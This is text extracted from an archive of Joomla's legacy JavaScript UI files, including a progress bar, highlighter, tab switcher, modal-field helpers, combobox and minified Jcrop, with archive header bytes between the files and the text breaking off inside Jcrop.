}
PK!5N`$WWjs/progressbar.jsnu�[���/*
        license: MIT-style
*/
Fx.ProgressBar=function(e,k){var g,h,c,j,a,l={onComplete:function(){},text:null,html5:true},f=function(n,m){g=jQuery.noConflict();g.extend(l,m);var q,p=g(n).attr("class"),r=g(n).attr("id"),o;q=g(n).get(0);h=l.html5&&b();if(h){o=g("<progress></progress>",{value:10,max:100,"class":p,id:r});g(q).replaceWith(o);q=o}else{o=g("<div>",{id:r,"class":p,"class":"progress progress-striped",role:"progressbar","aria-valuenow":"0","aria-valuemin":"0","aria-valuemax":"100"}).html(g("<div>",{"class":"bar"})).get(0);g(q).replaceWith(o);q=o}j=g(q);i(0)},b=function(){return"value" in document.createElement("progress")},d=function(){a=true;if(h){j.removeAttr("value")}else{j.find(".bar").css("width","100%").addClass("active");j.removeAttr("aria-valuenow").attr("title","")}},i=function(n){var m=g(l.text);if(n>=100){n=100}c=n;if(h){j.val(n)}else{j.find(".bar").css("width",n+"%");j.removeAttr("aria-valuenow").attr("title",Math.round(n)+"%")}if(m.length){m.text(Math.round(n)+"%")}if(n>=100){l.onComplete("complete")}return this};f(e,k);return{set:i,setIndeterminate:d,element:j.get(0)}};
PK!�G�44js/highlighter.jsnu�[���/*
		GNU General Public License version 2 or later; see LICENSE.txt
*/
if(typeof(Joomla)==="undefined"){var Joomla={}}Joomla.Highlighter=function(h){var d,f,i={autoUnhighlight:true,caseSensitive:false,startElement:false,endElement:false,elements:[],className:"highlight",onlyWords:true,tag:"span"},b=function(l){if(l.constructor===String){l=[l]}if(i.autoUnhighlight){g(l)}var k=i.onlyWords?"\b"+k+"\b":"("+l.join("\\b|\\b")+")",j=new RegExp(k,i.caseSensitive?"":"i");i.elements.map(function(m){a(m,j,i.className)});return this},g=function(l){if(l.constructor===String){l=[l]}var k,j;l.map(function(m){m=(i.caseSensitive?m:m.toUpperCase());if(l[m]){k=d(l[m]);k.removeClass();k.each(function(n,o){j=document.createTextNode(d(o).text());o.parentNode.replaceChild(j,o)})}});return this},a=function(k,r,q){if(k.nodeType===3){var o=k.nodeValue.match(r),l,j,s,p,n,m;if(o){l=document.createElement(i.tag);j=d(l);j.addClass(q);s=k.splitText(o.index);s.splitText(o[0].length);p=s.cloneNode(true);j.append(p);d(s).replaceWith(l);j.attr("rel",j.text());n=j.text();if(!i.caseSensitive){n=j.text().toUpperCase()}if(!f[n]){f[n]=[]}f[n].push(l);return 1}}else{if((k.nodeType===1&&k.childNodes)&&!/(script|style|textarea|iframe)/i.test(k.tagName)&&!(k.tagName===i.tag.toUpperCase()&&k.className===q)){for(m=0;m<k.childNodes.length;m++){m+=a(k.childNodes[m],r,q)}}}return 0},e=function(l,k){var j=l.next();if(j.attr("id")!==k.attr("id")){i.elements.push(j.get(0));e(j,k)}},c=function(j){d=jQuery.noConflict();d.extend(i,j);e(d(i.startElement),d(i.endElement));f=[]};c(h);return{highlight:b,unhighlight:g}};PK!�/7	7	js/switcher-uncompressed.jsnu�[���/**
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Switcher behavior
 *
 * @package     Joomla
 * @since       1.5
 */
var JSwitcher = function(toggler, element, _options) {
    var $, $togglers, $elements, current, options = {
        onShow : function() {
        },
        onHide : function() {
        },
        cookieName : 'switcher',
        togglerSelector : 'a',
        elementSelector : 'div.tab',
        elementPrefix : 'page-'
    },

    initialize = function(toggler, element, _options) {
        $ = jQuery.noConflict();
        $.extend(options, _options);

        $togglers = $(toggler).find(options.togglerSelector);
        $elements = $(element).find(options.elementSelector);

        if (($togglers.length === 0) || ($togglers.length !== $elements.length)) {
            return;
        }

        hideAll();

        $togglers.each(function() {
            $(this).on('click', function() {
                display($(this).attr('id'));
            });
        })

        var first = document.location.hash.substring(1);
        if (first) {
            display(first);
        } else if ($togglers.length) {
            display($togglers.first().attr('id'));
        }
    },

    display = function(togglerId) {
        var $toggler = $('#' + togglerId), $element = $('#' + options.elementPrefix + togglerId);

        if ($toggler.length === 0 || $element.length === 0 || togglerId === current) {
            return this;
        }

        if (current) {
            hide($('#' + options.elementPrefix + current));
            $('#' + current).removeClass('active');
        }

        show($element);
        $toggler.addClass('active');
        current = togglerId;
        document.location.hash = current;
        $(window).scrollTop(0);
    },

    hide = function(element) {
        options.onShow(element);
        $(element).hide();
    },

    hideAll = function() {
        $elements.hide();
        $togglers.removeClass('active');
    },

    show = function(element) {
        options.onHide(element);
        $(element).show();
    };

    initialize(toggler, element, _options);

    return{
        display: display,
        hide: hide,
        hideAll: hideAll,
        show: show
    };
};
PK!5|��vvjs/modal-fields-uncompressed.jsnu�[���/**
 * @copyright  (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

(function() {
	"use strict";

	/**
	 * Process modal fields in parent.
	 *
	 * @param   string  fieldPrefix  The fields to be updated prefix.
	 * @param   string  id           The new id for the item.
	 * @param   string  title        The new title for the item.
	 * @param   string  catid        Future usage.
	 * @param   object  object       Future usage.
	 * @param   string  url          Future usage.
	 * @param   string  language     Future usage.
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	window.processModalParent = function (fieldPrefix, id, title, catid, url, language, object)
	{
		var fieldId = document.getElementById(fieldPrefix + '_id'), fieldTitle = document.getElementById(fieldPrefix + '_name');

		// Default values.
		id       = id || '';
		title    = title || '';
		catid    = catid || '';
		object   = object || '';
		url      = url || '';
		language = language || '';

		if (id)
		{
			fieldId.value    = id;
			fieldTitle.value = title;

			if (document.getElementById(fieldPrefix + '_select'))
			{
				jQuery('#' + fieldPrefix + '_select').addClass('hidden');
			}
			if (document.getElementById(fieldPrefix + '_new'))
			{
				jQuery('#' + fieldPrefix + '_new').addClass('hidden');
			}
			if (document.getElementById(fieldPrefix + '_edit'))
			{
				jQuery('#' + fieldPrefix + '_edit').removeClass('hidden');
			}
			if (document.getElementById(fieldPrefix + '_clear'))
			{
				jQuery('#' + fieldPrefix + '_clear').removeClass('hidden');
			}
			if (document.getElementById(fieldPrefix + '_propagate'))
			{
				jQuery('#' + fieldPrefix + '_propagate').removeClass('hidden');
			}
		}
		else
		{
			fieldId.value    = '';
			fieldTitle.value = fieldId.getAttribute('data-text');

			if (document.getElementById(fieldPrefix + '_select'))
			{
				jQuery('#' + fieldPrefix + '_select').removeClass('hidden');
			}
			if (document.getElementById(fieldPrefix + '_new'))
			{
				jQuery('#' + fieldPrefix + '_new').removeClass('hidden');
			}
			if (document.getElementById(fieldPrefix + '_edit'))
			{
				jQuery('#' + fieldPrefix + '_edit').addClass('hidden');
			}
			if (document.getElementById(fieldPrefix + '_clear'))
			{
				jQuery('#' + fieldPrefix + '_clear').addClass('hidden');
			}
			if (document.getElementById(fieldPrefix + '_propagate'))
			{
				jQuery('#' + fieldPrefix + '_propagate').addClass('hidden');
			}
		}

		if (fieldId.getAttribute('data-required') == '1')
		{
			document.formvalidator.validate(fieldId);
			document.formvalidator.validate(fieldTitle);
		}

		return false;
	}

	/**
	 * Process new/edit modal fields in child.
	 *
	 * @param   object  element       The modal footer button element.
	 * @param   string  fieldPrefix   The fields to be updated prefix.
	 * @param   string  action        Modal action (add, edit).
	 * @param   string  itemType      The item type (Article, Contact, etc).
	 * @param   string  task          Task to be done (apply, save, cancel).
	 * @param   string  formId        Id of the form field (defaults to itemtype-form).
	 * @param   string  idFieldId     Id of the id field (defaults to jform_id).
	 * @param   string  titleFieldId  Id of the title field (defaults to jform_title).
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	window.processModalEdit = function (element, fieldPrefix, action, itemType, task, formId, idFieldId, titleFieldId)
	{
		formId       = formId || itemType.toLowerCase() + '-form';
		idFieldId    = idFieldId || 'jform_id';
		titleFieldId = titleFieldId || 'jform_title';

		var modalId = element.parentNode.parentNode.id, submittedTask = task;

		// Set frame id.
		jQuery('#' + modalId + ' iframe').get(0).id = 'Frame_' + modalId;

		var iframeDocument = jQuery('#Frame_' + modalId).contents().get(0);

		// If Close (cancel task), close the modal.
		if (task === 'cancel')
		{
			// Submit button on child iframe so we can check out.
			document.getElementById('Frame_' + modalId).contentWindow.Joomla.submitbutton(itemType.toLowerCase() + '.' + task);

			jQuery('#' + modalId).modal('hide');
		}
		// For Save (apply task) and Save & Close (save task).
		else
		{
			// Attach onload event to the iframe.
			jQuery('#Frame_' + modalId).on('load', function()
			{
				// Reload iframe document var value.
				iframeDocument = jQuery(this).contents().get(0);

				// Validate the child form and update parent form.
				if (iframeDocument.getElementById(idFieldId) && iframeDocument.getElementById(idFieldId).value != '0')
				{
					window.processModalParent(fieldPrefix, iframeDocument.getElementById(idFieldId).value, iframeDocument.getElementById(titleFieldId).value);

					// If Save & Close (save task), submit the edit close action (so we don't have checked out items).
					if (task === 'save')
					{
						window.processModalEdit(element, fieldPrefix, 'edit', itemType, 'cancel', formId, idFieldId, titleFieldId);
					}
				}

				// Show the iframe again for future modals or in case of error.
				jQuery('#' + modalId + ' iframe').removeClass('hidden');
			});

			// Submit button on child iframe.
			if (iframeDocument.formvalidator.isValid(iframeDocument.getElementById(formId)))
			{
				// For Save & Close (save task) when creating we need to replace the task as apply because of redirects after submit and hide the iframe.
				if (task === 'save')
				{
					submittedTask = 'apply';
				}

				document.getElementById('Frame_' + modalId).contentWindow.Joomla.submitbutton(itemType.toLowerCase() + '.' + submittedTask);
			}
		}

		return false;
	}

	/**
	 * Process select modal fields in child.
	 *
	 * @param   string  itemType     The item type (Article, Contact, etc).
	 * @param   string  fieldPrefix  The fields to be updated prefix.
	 * @param   string  id           The new id for the item.
	 * @param   string  title        The new title for the item.
	 * @param   string  catid        Future usage.
	 * @param   object  object       Future usage.
	 * @param   string  url          Future usage.
	 * @param   string  language     Future usage.
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	window.processModalSelect = function(itemType, fieldPrefix, id, title, catid, object, url, language) {
		window.processModalParent(fieldPrefix, id, title, catid, url, language, object);
		jQuery('#ModalSelect' + itemType + '_' + fieldPrefix).modal('hide');

		return false;
	}

}());PK!%nhGGjs/associations-edit.jsnu�[���window.hideAssociation=function(o,a){jQuery("#associations .control-group").each(function(){jQuery(this).find(".control-label label").attr("for").replace(new RegExp("_id$"),"")==o+"_associations_"+a.replace("-","_")&&jQuery(this).hide()})},window.showAssociationMessage=function(){jQuery("#associations .control-group").hide(),jQuery("#associations").prepend('<div id="associations-notice" class="alert alert-info">'+Joomla.JText._("JGLOBAL_ASSOC_NOT_POSSIBLE")+"</div>")},Joomla.injectAssociations=function(o,a){var s;if(o.success){if(0!==o.data.length)for(var e in o.data)s=a+e.replace("-","_"),window[s](o.data[e].id,o.data[e].title,o.data[e].catid,null,null,e);o.message&&Joomla.renderMessages({notice:[o.message]})}else Joomla.renderMessages({warning:[Joomla.JText._("JGLOBAL_ASSOCIATIONS_PROPAGATE_FAILED")]})},Joomla.propagateAssociation=function(o,a){var s=jQuery("#"+o+"_id").val(),e=jQuery("#jform_language").find(":selected").val(),i=Joomla.getOptions("csrf.token",""),n=jQuery("form[name='adminForm']").attr("action");return n+="&"+i+"=1",jQuery.ajax({url:n,data:{task:"ajax.fetchAssociations",format:"json",assocId:s,excludeLang:e},success:function(o,s,e){Joomla.injectAssociations(o,a)},error:function(){Joomla.renderMessages({warning:[Joomla.JText._("JGLOBAL_ASSOCIATIONS_PROPAGATE_FAILED")]})}}),!1},window,document,Joomla,jQuery(document).ready(function(o){var a=Joomla.getOptions("system.associations.edit"),s=a.formControl||"jform";1==a.hidden?window.showAssociationMessage():window.hideAssociation(s,o("#"+s+"_language").val()),o("#"+s+"_language").on("change",function(a){Joomla.removeMessages(),o("#associations-notice").remove();var e=!1;o("#associations .control-group").each(function(){var a=o(this).find(".control-label label").attr("for").replace("_id","").replace("jform_associations_","");o(this).show(),e||""===o("#"+s+"_associations_"+a+"_id").val()||(e=!0),o("#"+s+"_associations_"+a+"_clear").click()}),e&&Joomla.renderMessages({warning:[Joomla.JText._("JGLOBAL_ASSOCIATIONS_RESET_WARNING")]});var i=o(this).val();"*"==i?window.showAssociationMessage():window.hideAssociation(s,i)})});
PK!nC�ejs/progressbar-uncompressed.jsnu�[���/*
 name: Fx.ProgressBar

 description: Creates a progressbar with WAI-ARIA and optional HTML5 support.

 license: MIT-style

 authors:
 - Harald Kirschner <mail [at] digitarald [dot] de>
 - Rouven Weßling <me [at] rouvenwessling [dot] de>

 requires: [Core/Fx, Core/Class, Core/Element]

 provides: Fx.ProgressBar
 */

Fx.ProgressBar = function(_element, _options) {
    var $, useHtml5, now, $element, indeterminate, options = {
        onComplete : function() {
        },
        text : null,
        html5 : true
    },
    
    initialize = function(_element, _options) {
        $ = jQuery.noConflict();
        $.extend(options, _options);

        var element, classes = $(_element).attr('class'), id = $(_element).attr('id'), progress;

        element = $(_element).get(0);
        useHtml5 = options.html5 && supportsHtml5();
        if (useHtml5) {
            progress = $('<progress></progress>', {
                'value' : 10,
                'max' : 100,
                'class' : classes,
                'id' : id
            });
            $(element).replaceWith(progress);
            element = progress;
        } else {
            progress = $('<div>', {
                'id' : id,
                'class' : classes,
                'class' : 'progress progress-striped',
                'role' : 'progressbar',
                'aria-valuenow' : '0', // WAI-ARIA
                'aria-valuemin' : '0',
                'aria-valuemax' : '100'
            }).html($('<div>', {
                'class' : 'bar'
            })).get(0);
            $(element).replaceWith(progress);
            element = progress;
        }

        $element = $(element);
        set(0);
    },
    
    supportsHtml5 = function() {
        return 'value' in document.createElement('progress');
    },
    
    setIndeterminate = function() {
        indeterminate = true;

        if (useHtml5) {
            $element.removeAttr('value');
        } else {
            $element.find('.bar').css('width', '100%').addClass('active');
            $element.removeAttr('aria-valuenow').attr('title', '');
        }
    },
    
    set = function(to) {
        var $text = $(options.text);

        if (to >= 100) {
            to = 100;
        }
        now = to;

        if (useHtml5) {
            $element.val(to);
        } else {
            $element.find('.bar').css('width', to + '%');
            $element.removeAttr('aria-valuenow').attr('title', Math.round(to) + '%');
        }

        if ($text.length) {
            $text.text(Math.round(to) + '%');
        }
        if (to >= 100) {
            options.onComplete('complete');
        }

        return this;
    };
    
    initialize(_element, _options);

    return {
        set : set,
        setIndeterminate : setIndeterminate,
        element : $element.get(0)
    };
}
PK!O�%���js/combobox-uncompressed.jsnu�[���/**
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Unobtrusive transformation for combobox
 *
 *
 * @package		Joomla.Framework
 * @subpackage	Forms
 */

(function($,document,undefined)
{
	var combobox = function(options, elem)
	{
		var self = {},

		init = function(options, elem)
		{
			self.$elem = $(elem);
			self.options = $.extend({}, $.fn.ComboTransform.options, options);
			self.$input = $(elem).find('input[type="text"]');
			self.$dropBtnDiv = $(elem).find('div.btn-group');
			self.$dropBtn = self.$dropBtnDiv.find('[type="button"]');
			self.$dropDown = $(elem).find('ul.dropdown-menu'),
			self.$dropDownOptions = self.$dropDown.find('li a');
			self.$dropDown.isEmpty = false;
			self.$dropBtn.isClicked = false;
			render();

			addEventHandlers();
		},

		render = function()
		{
			// Align dropdown correctly
			var inputWidth = self.$elem.width(),
				btnWidth = self.$dropBtnDiv.width(),
				totalWidth = inputWidth - 3,
				dropDownLeft = -inputWidth + btnWidth,
				dropDownWidth = self.$dropDown.width();

			dropDownWidth < totalWidth ? self.$dropDown.width(totalWidth+'px') : null;
			self.$dropDown.css('left',dropDownLeft+'px');
			self.$dropDown.css('max-height','150px');
			self.$dropDown.css('overflow-y','scroll');
			self.$dropDown.css('left',dropDownLeft+'px');
		},

		addEventHandlers = function()
		{
			self.$input.bind('focus', drop);
			self.$input.bind('blur', pick);

			if(self.options.updateList)
			{
				self.$input.bind('keyup', updateList);
			}

			self.$dropDown.on('mouseenter',function() {
				highlight('clear');
				self.$input.unbind('blur', pick);
			});
			self.$dropDown.on('mouseleave',function(event) {
				self.$input.bind('blur', pick);
			});

			self.$dropBtn.on('click', focusCombo);

			self.$dropDown.find('li').on('click', updateCombo);
			self.$dropDown.find('li a').on('mouseenter', function(){
				$(this).addClass('hover');
				self.$currHovered = $(this);
			});
			self.$dropDown.find('li a').on('mouseleave', function(){
				$(this).removeClass('hover');
			});
		},

		drop = function()
		{
			if(!self.$dropDown.isEmpty)
			{
				var dropDownHeight = self.$dropDown.height(),
					inputClientHeight = self.$input[0].clientHeight,
					inputHeight = self.$input.height(),
					dropDownTop = -(inputHeight + dropDownHeight);

				// Drop it in viewable area
				self.$dropDown.css('top','100%');

				self.$elem.addClass('nav-hover');
				self.$dropBtnDiv.addClass('open');

				if(!inViewport(self.$dropDown))
				{
					self.$dropDown.css('top',dropDownTop+'px');
				}

				// Prevent form submit on enter press
				self.$input.bind('keypress keydown keyup', preventSubmit);
			}
		},

		pick = function()
		{
			self.$elem.removeClass('nav-hover');
			self.$dropBtnDiv.removeClass('open');

			if(self.$dropBtn.isClicked)
			{
				self.$dropBtn.isClicked = false;
				self.$dropDown.isEmpty = true;
			}

			highlight('clear');

			self.$input.unbind('keypress keydown keyup', preventSubmit);
		},

		focusCombo = function()
		{
			var $options = self.$dropDownOptions;
			$options.show();
			self.$dropBtn.isClicked = self.$dropDown.isEmpty;
			self.$dropDown.isEmpty = false;
			self.$input.focus();
		},

		updateCombo = function(event)
		{
			var selectedOption = $(event.target).text();
			self.$input.val(selectedOption);
			pick();
			return false;
		},

		updateList = function(event)
		{
			var keycode = event && (event.keycode || event.which);
			keycode = event.ctrlKey || event.altKey ? -1 : keycode;

			if ((keycode > 47 && keycode < 59) || (keycode > 62 && keycode < 127) || keycode == 32  || keycode == 8)
			{
				var text = self.$input.val().toLowerCase(),
					$options = self.$dropDownOptions,
					hiddenOptions = 0,
					moveHilighter = false;
				$options.each(function()
				{
					 if(this.innerHTML.toLowerCase().indexOf(text) == 0)
					 {
					 	$(this).show();
					 }
					 else
					 {
					 	$(this).hide();
					 	if($(this).hasClass('hover'))
					 	{
					 		moveHilighter = true;
					 	}

					 	hiddenOptions++;
					 }
				});

				if(hiddenOptions == $options.length)
				{
					self.$dropDown.isEmpty = true;
					pick();
				}
				else
				{
					self.$dropDown.isEmpty = false;
					if(moveHilighter)
					{
						highlight("clear");
					}
					drop();
				}
			}
			else if(!self.$dropDown.isEmpty)
			{
				// Change selected option in list
				if(keycode == 38)
				{
					highlight("prev");
				}
				else if(keycode == 40)
				{
					highlight("next");
				}
				else if(keycode == 13 && self.$currHovered != null)
				{
					self.$input.val(self.$currHovered.html());
					pick();
				}
			}
		},

		highlight = function(newHighlight)
		{
			if(newHighlight == "next" || newHighlight == "prev")
			{
				var $visibleOptions = self.$dropDownOptions.filter(':visible'),
					$currHovered = $visibleOptions.filter('.hover'),
					index = $visibleOptions.index($currHovered),
					$optionToHover;

				// Change selected option in list
				if(newHighlight == "prev")
				{
					index = index == -1 ? $visibleOptions.length -1 :  index - 1;
				}
				else
				{
					index = index == $visibleOptions.length - 1 ? 0 : index + 1;
				}

				if($currHovered.length != 0)
				{
					$currHovered.removeClass('hover');
				}

				$optionToHover = $visibleOptions.eq(index);
				self.$currHovered = $optionToHover;
				self.$currHovered.addClass('hover');

				scrollTo(self.$dropDown, self.$currHovered);
			}
			else if(newHighlight == "clear")
			{
				self.$currHovered != null ? self.$currHovered.removeClass('hover') : null;
				self.$currHovered = null;
			}
		},

		// Helper functions
		inViewport = function(el)
		{
		    var rect = el[0].getBoundingClientRect();
		    return (
		        rect.top >= 0 &&
		        rect.left >= 0 &&
		        rect.bottom <= (window.innerHeight || document.documentElement.clientHeight) && /*or $(window).height() */
		        rect.right <= (window.innerWidth || document.documentElement.clientWidth) /*or $(window).width() */
		        );
		},

		scrollTo = function(p, e)
		{
			z = p[0].getBoundingClientRect();
			r = e[0].getBoundingClientRect();

			if(!(r.top >= z.top && r.left >= z.left && (r.top+r.height) <= (z.top+z.height)))
			{
				var value = r.top - z.top + p.scrollTop();
				p.scrollTop(value);
			}
		},

		preventSubmit = function(event)
		{
			if(event.keyCode == 13)
			{
				event.preventDefault();
			}
		};

		init(options, elem);
	};
	$.fn.ComboTransform = function(options)
	{
		return this.each(function(){
			combobox(options, this);
		});
	};

	$.fn.ComboTransform.options = {
		updateList : true
	};

	$(function()
	{
		$('div.combobox').ComboTransform({updateList : true});
	});
})(jQuery,document);
PK!�	���js/jquery.Jcrop.min.jsnu�[���/*! Jcrop.min.js v2.0.4 - build: 20151117
 *  Copyright 2008-2015 Tapmodo Interactive LLC
 *  Free software under MIT License
 **/
!function(a){"use strict";var b=function(c,d){var e=navigator.userAgent.toLowerCase();this.opt=a.extend({},b.defaults,d||{}),this.container=a(c),this.opt.is_msie=/msie/.test(e),this.opt.is_ie_lt9=/msie [1-8]\./.test(e),this.container.addClass(this.opt.css_container),this.ui={},this.state=null,this.ui.multi=[],this.ui.selection=null,this.filter={},this.init(),this.setOptions(d),this.applySizeConstraints(),this.container.trigger("cropinit",this),this.opt.is_ie_lt9&&(this.opt.dragEventTarget=document.body)};a.extend(b,{component:{},filter:{},stage:{},registerComponent:function(a,c){b.component[a]=c},registerFilter:function(a,c){b.filter[a]=c},registerStageType:function(a,c){b.stage[a]=c},attach:function(b,c){var d=new a.Jcrop(b,c);return d},imgCopy:function(a){var b=new Image;return b.src=a.src,b},imageClone:function(c){return a.Jcrop.supportsCanvas?b.canvasClone(c):b.imgCopy(c)},canvasClone:function(b){var c=document.createElement("canvas"),d=c.getContext("2d");return a(c).width(b.width).height(b.height),c.width=b.naturalWidth,c.height=b.naturalHeight,d.drawImage(b,0,0,b.naturalWidth,b.naturalHeight),c},propagate:function(a,b,c){for(var d=0,e=a.length;e>d;d++)b.hasOwnProperty(a[d])&&(c[a[d]]=b[a[d]])},getLargestBox:function(a,b,c){return b/c>a?[c*a,c]:[b,b/a]},stageConstructor:function(c,d,e){var f=[];a.each(b.stage,function(a,b){f.push(b)}),f.sort(function(a,b){return a.priority-b.priority});for(var g=0,h=f.length;h>g;g++)if(f[g].isSupported(c,d)){f[g].create(c,d,function(a,b){"function"==typeof e&&e(a,b)});break}},supportsColorFade:function(){return a.fx.step.hasOwnProperty("backgroundColor")},wrapFromXywh:function(a){var b={x:a[0],y:a[1],w:a[2],h:a[3]};return b.x2=b.x+b.w,b.y2=b.y+b.h,b}});var c=function(){};a.extend(c,{isSupported:function(a,b){return!0},priority:100,create:function(a,b,d){var e=new c;e.element=a,d.call(this,e,b)},prototype:{attach:function(a){this.init(a),a.ui.stage=this},triggerEvent:function(b){return a(this.element).trigger(b),this},getElement:function(){return this.element}}}),b.registerStageType("Block",c);var d=function(){};d.prototype=new c,a.extend(d,{isSupported:function(a,b){return"IMG"==a.tagName?!0:void 0},priority:90,create:function(b,c,e){a.Jcrop.component.ImageLoader.attach(b,function(f,g){var h=new d;h.element=a(b).wrap("<div />").parent(),h.element.width(f).height(g),h.imgsrc=b,"function"==typeof e&&e.call(this,h,c)})}}),b.registerStageType("Image",d);var e=function(){this.angle=0,this.scale=1,this.scaleMin=.2,this.scaleMax=1.25,this.offset=[0,0]};e.prototype=new d,a.extend(e,{isSupported:function(b,c){return a.Jcrop.supportsCanvas&&"IMG"==b.tagName?!0:void 0},priority:60,create:function(b,c,d){var f=a(b),g=a.extend({},c);a.Jcrop.component.ImageLoader.attach(b,function(a,c){var h=new e;f.hide(),h.createCanvas(b,a,c),f.before(h.element),h.imgsrc=b,g.imgsrc=b,"function"==typeof d&&(d(h,g),h.redraw())})}}),a.extend(e.prototype,{init:function(a){this.core=a},setOffset:function(a,b){return this.offset=[a,b],this},setAngle:function(a){return this.angle=a,this},setScale:function(a){return this.scale=this.boundScale(a),this},boundScale:function(a){return a<this.scaleMin?a=this.scaleMin:a>this.scaleMax&&(a=this.scaleMax),a},createCanvas:function(b,c,d){this.width=c,this.height=d,this.canvas=document.createElement("canvas"),this.canvas.width=c,this.canvas.height=d,this.$canvas=a(this.canvas).width("100%").height("100%"),this.context=this.canvas.getContext("2d"),this.fillstyle="rgb(0,0,0)",this.element=this.$canvas.wrap("<div />").parent().width(c).height(d)},triggerEvent:function(a){return this.$canvas.trigger(a),this},clear:function(){return this.context.fillStyle=this.fillstyle,this.context.fillRect(0,0,this.canvas.width,this.canvas.height),this},redraw:function(){return this.context.save(),this.clear(),this.context.translate(parseInt(.5*this.width),parseInt(.5*this.height)),this.context.translate(this.offset[0]/this.core.opt.xscale,this.offset[1]/this.core.opt.yscale),this.context.rotate(this.angle*(Math.PI/180)),this.context.scale(this.scale,this.scale),this.context.translate(-parseInt(.5*this.width),-parseInt(.5*this.height)),this.context.drawImage(this.imgsrc,0,0,this.width,this.height),this.context.restore(),this.$canvas.trigger("cropredraw"),this},setFillStyle:function(a){return this.fillstyle=a,this}}),b.registerStageType("Canvas",e);var f=function(){this.minw=40,this.minh=40,this.maxw=0,this.maxh=0,this.core=null};a.extend(f.prototype,{tag:"backoff",priority:22,filter:function(a){var b=this.bound;return a.x<b.minx&&(a.x=b.minx,a.x2=a.w+a.x),a.y<b.miny&&(a.y=b.miny,a.y2=a.h+a.y),a.x2>b.maxx&&(a.x2=b.maxx,a.x=a.x2-a.w),a.y2>b.maxy&&(a.y2=b.maxy,a.y=a.y2-a.h),a},refresh:function(a){this.elw=a.core.container.width(),this.elh=a.core.container.height(),this.bound={minx:0+a.edge.w,miny:0+a.edge.n,maxx:this.elw+a.edge.e,maxy:this.elh+a.edge.s}}}),b.registerFilter("backoff",f);var g=function(){this.core=null};a.extend(g.prototype,{tag:"constrain",priority:5,filter:function(a,b){return"move"==b?(a.x<this.minx&&(a.x=this.minx,a.x2=a.w+a.x),a.y<this.miny&&(a.y=this.miny,a.y2=a.h+a.y),a.x2>this.maxx&&(a.x2=this.maxx,a.x=a.x2-a.w),a.y2>this.maxy&&(a.y2=this.maxy,a.y=a.y2-a.h)):(a.x<this.minx&&(a.x=this.minx),a.y<this.miny&&(a.y=this.miny),a.x2>this.maxx&&(a.x2=this.maxx),a.y2>this.maxy&&(a.y2=this.maxy)),a.w=a.x2-a.x,a.h=a.y2-a.y,a},refresh:function(a){this.elw=a.core.container.width(),this.elh=a.core.container.height(),this.minx=0+a.edge.w,this.miny=0+a.edge.n,this.maxx=this.elw+a.edge.e,this.maxy=this.elh+a.edge.s}}),b.registerFilter("constrain",g);var h=function(){this.core=null};a.extend(h.prototype,{tag:"extent",priority:12,offsetFromCorner:function(a,b,c){var d=b[0],e=b[1];switch(a){case"bl":return[c.x2-d,c.y,d,e];case"tl":return[c.x2-d,c.y2-e,d,e];case"br":return[c.x,c.y,d,e];case"tr":return[c.x,c.y2-e,d,e]}},getQuadrant:function(a){var b=a.opposite[0]-a.offsetx,c=a.opposite[1]-a.offsety;return 0>b&&0>c?"br":b>=0&&c>=0?"tl":0>b&&c>=0?"tr":"bl"},filter:function(a,c,d){if("move"==c)return a;var e=a.w,f=a.h,g=d.state,h=this.limits,i=g?this.getQuadrant(g):"br";return h.minw&&e<h.minw&&(e=h.minw),h.minh&&f<h.minh&&(f=h.minh),h.maxw&&e>h.maxw&&(e=h.maxw),h.maxh&&f>h.maxh&&(f=h.maxh),e==a.w&&f==a.h?a:b.wrapFromXywh(this.offsetFromCorner(i,[e,f],a))},refresh:function(a){this.elw=a.core.container.width(),this.elh=a.core.container.height(),this.limits={minw:a.minSize[0],minh:a.minSize[1],maxw:a.maxSize[0],maxh:a.maxSize[1]}}}),b.registerFilter("extent",h);var i=function(){this.stepx=1,this.stepy=1,this.core=null};a.extend(i.prototype,{tag:"grid",priority:19,filter:function(a){var b={x:Math.round(a.x/this.stepx)*this.stepx,y:Math.round(a.y/this.stepy)*this.stepy,x2:Math.round(a.x2/this.stepx)*this.stepx,y2:Math.round(a.y2/this.stepy)*this.stepy};return b.w=b.x2-b.x,b.h=b.y2-b.y,b}}),b.registerFilter("grid",i);var j=function(){this.ratio=0,this.core=null};a.extend(j.prototype,{tag:"ratio",priority:15,offsetFromCorner:function(a,b,c){var d=b[0],e=b[1];switch(a){case"bl":return[c.x2-d,c.y,d,e];case"tl":return[c.x2-d,c.y2-e,d,e];case"br":return[c.x,c.y,d,e];case"tr":return[c.x,c.y2-e,d,e]}},getBoundRatio:function(a,c){var d=b.getLargestBox(this.ratio,a.w,a.h);return b.wrapFromXywh(this.offsetFromCorner(c,d,a))},getQuadrant:function(a){var b=a.opposite[0]-a.offsetx,c=a.opposite[1]-a.offsety;return 0>b&&0>c?"br":b>=0&&c>=0?"tl":0>b&&c>=0?"tr":"bl"},filter:function(a,b,c){if(!this.ratio)return a;var d=(a.w/a.h,c.state),e=d?this.getQuadrant(d):"br";if(b=b||"se","move"==b)return a;switch(b){case"n":a.x2=this.elw,a.w=a.x2-a.x,e="tr";break;case"s":a.x2=this.elw,a.w=a.x2-a.x,e="br";break;case"e":a.y2=this.elh,a.h=a.y2-a.y,e="br";break;case"w":a.y2=this.elh,a.h=a.y2-a.y,e="bl"}return this.getBoundRatio(a,e)},refresh:function(a){this.ratio=a.aspectRatio,this.elw=a.core.container.width(),this.elh=a.core.container.height()}}),b.registerFilter("ratio",j);var k=function(){this.core=null};a.extend(k.prototype,{tag:"round",priority:90,filter:function(a){var b={x:Math.round(a.x),y:Math.round(a.y),x2:Math.round(a.x2),y2:Math.round(a.y2)};return b.w=b.x2-b.x,b.h=b.y2-b.y,b}}),b.registerFilter("round",k);var l=function(a,b){this.color=b||"black",this.opacity=a||.5,this.core=null,this.shades={}};a.extend(l.prototype,{tag:"shader",fade:!0,fadeEasing:"swing",fadeSpeed:320,priority:95,init:function(){var b=this;b.attached||(b.visible=!1,b.container=a("<div 